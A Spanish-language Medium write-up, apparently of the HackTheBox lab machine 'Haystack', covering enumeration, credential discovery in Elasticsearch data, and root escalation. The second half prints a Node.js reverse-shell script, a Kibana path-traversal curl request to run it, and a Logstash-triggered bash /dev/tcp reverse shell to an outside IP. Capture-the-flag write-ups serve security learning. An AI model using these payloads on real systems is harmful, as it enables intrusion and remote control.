Como resolver ‘Haystack’

Philippe Delteil
Nov 2 · 5 min read

Paso a paso de como resolver la máquina Haystack.

USER

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -v -sC -sV haystack.htb

Salida:

Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn’t have a title (text/html).
9200/tcp open http nginx 1.12.2
|_http-favicon: Unknown favicon MD5: 6177BFB75B498E0BB356223ED76FFE43
| http-methods:
| Supported Methods: HEAD DELETE GET OPTIONS
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn’t have a title (application/json; charset=UTF-8).

Luego, en el puerto 80 encontramos la siguiente imagen:

> exiftool needle.jpgExifTool Version Number : 11.16
File Name : needle.jpg
Directory : .
File Size : 179 kB
File Modification Date/Time : 2019:07:04 21:41:37–04:00
File Access Date/Time : 2019:07:04 21:41:53–04:00
File Inode Change Date/Time : 2019:07:04 21:54:46–04:00
File Permissions : rw-r — r —
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
X Resolution : 96
Y Resolution : 96
Resolution Unit : inches
Software : paint.net 4.1.1
User Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90.
Image Width : 1200
Image Height : 803
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1200x803
Megapixels : 0.964

Con strings:

> strings -10 needle.jpg 
paint.net 4.1.1
%&’()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&’()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
>S)T;M7\{Y
WEL/;wg-J3
T.-UWuvFG,
Euw!i$goRk
5)5=FI$b[=+
*Oo!;.o|?>
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

Dos == ya sabemos que puede ser:

> echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"

Si revisamos el puerto 9200 encontraremos pistas sobre lo que es:

Buscando y buscando, llegamos a esta página, donde está todo lo que necesitamos para explotar este puerto.

Lo que haremos, será descargar toda la data del servicio. Para esto usaremos RESTClient para Firefox.

Usamos la siguiente url:

http://haystack.htb:9200/_search?pretty=true&size=2000

Luego, en RESTClient descargamos los datos:

Guardamos la data en el archivo data.txt. Recordemos que el nombre de la máquina es ‘aguja en un pajar’ y que la pista es ‘clave’.

Usando grep sobre el archivo:grep -i clave data.txt 
“address” : “805 Claver Place”,
“quote” : “Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=”
“quote” : “Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg “

Veamos que dice el primer texto:

echo “cGFzczogc3BhbmlzaC5pcy5rZXk=”|base64 -d
pass: spanish.is.key

El otro:

echo “dXNlcjogc2VjdXJpdHkg” |base64 -d
user: security

Probemos el usuario y clave en ssh:

¡Tenemos el usuario!


ROOT

Del paso anterior obtuvimos la versión de Kibana, veamos si podemos encontrar algún CVE para esta versión:

También podemos obtener la versión con este comando.

Debemos buscar un reverse shell para js, con ingredientes secretos para que Node.js no se crashee.

Archivo shell.js:

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(PORT, "IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

Debes tener en consideración que PORT es un número y IP es un string.

Tenemos que escuchar por el shell reverso:

nc -lvp 6666

Para ejecutar el POC de la vulnerabilidad, útil es este vídeo. Una forma más simple es utilizando curl, ejecutamos el shell.js:

curl 'http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../tmp/shell.js'

El comando debemos ejecutarlo desde dentro del servidor, dado que el puerto 5601 no está abierto. En el caso que no queramos usar curl y queramos hacerlo directamente desde el navegador, primero debemos hacer un ssh local port forwarding para poder acceder a Kibana y ejecutar la vulnerabilidad.

ssh -L 5601:localhost:5601 security@haystack.htb

Esta es la respuesta esperada al ejecutar el comando curl:

Ahora, estamos logeados como el usuario kibana.

Ahora, sabemos que el servidor utiliza ELK (Elasticsearch, Logstash y Kibana).

Veamos que encontramos en Logstash:

Son tres archivos de configuración con el siguiente contenido:

  • input.conf, define la ruta de los archivos de logging que queremos procesar, en este caso, será procesado cualquier archivo en /opt/kibana con nombre comenzando con logstash_.
input {
file {
path => “/opt/kibana/logstash_*”
start_position => “beginning”
sincedb_path => “/dev/null”
stat_interval => “10 second”
type => “execute”
mode => “read”
}
}
  • filter.conf, define la regla de matching del procesamiento de los archivos de logging. En este caso nos fijamos que Logstash hace uso de grok para hacer un patter matching.
filter {
if [type] == “execute” {
grok {
match => { “message” => “Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}” }
}
}
}
  • output.conf, define que se hace con la información capturada por el filtro, podemos ver que lo que fue capturado como ‘comando’ en el filtro es ejecutado.
output {
if [type] == “execute” {
stdout { codec => json }
exec {
command => “%{comando} &”
}
}
}

Usando el debugger mencionado con anterioridad, nos damos cuenta que el contenido del archivo a procesar por logstash debe ser el siguiente:

Ejecutar comando : bash -i >& /dev/tcp/10.10.14.26/7777 0>&1

Escuchamos por ese puerto:

nc -lvp 7777

Debemos agregar este texto en un archivo en /opt/kibana:

echo ‘“Ejecutar comando : bash -i >& /dev/tcp/10.10.14.26/7777 0>&1”’> /opt/kibana/logstash_1

Ahora debemos esperar que el contenido del archivo sea procesado. Y finalmente:

[root@haystack ~]# cat root.txt
cat root.txt
3f5f727c38d9f70e1d2ad2ba11059d92

Deja tu aplauso!

Fuentes:

Write-ups HackTheBox

Write-ups de challenges y máquinas

Philippe Delteil

Written by

Write-ups HackTheBox

Write-ups de challenges y máquinas

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade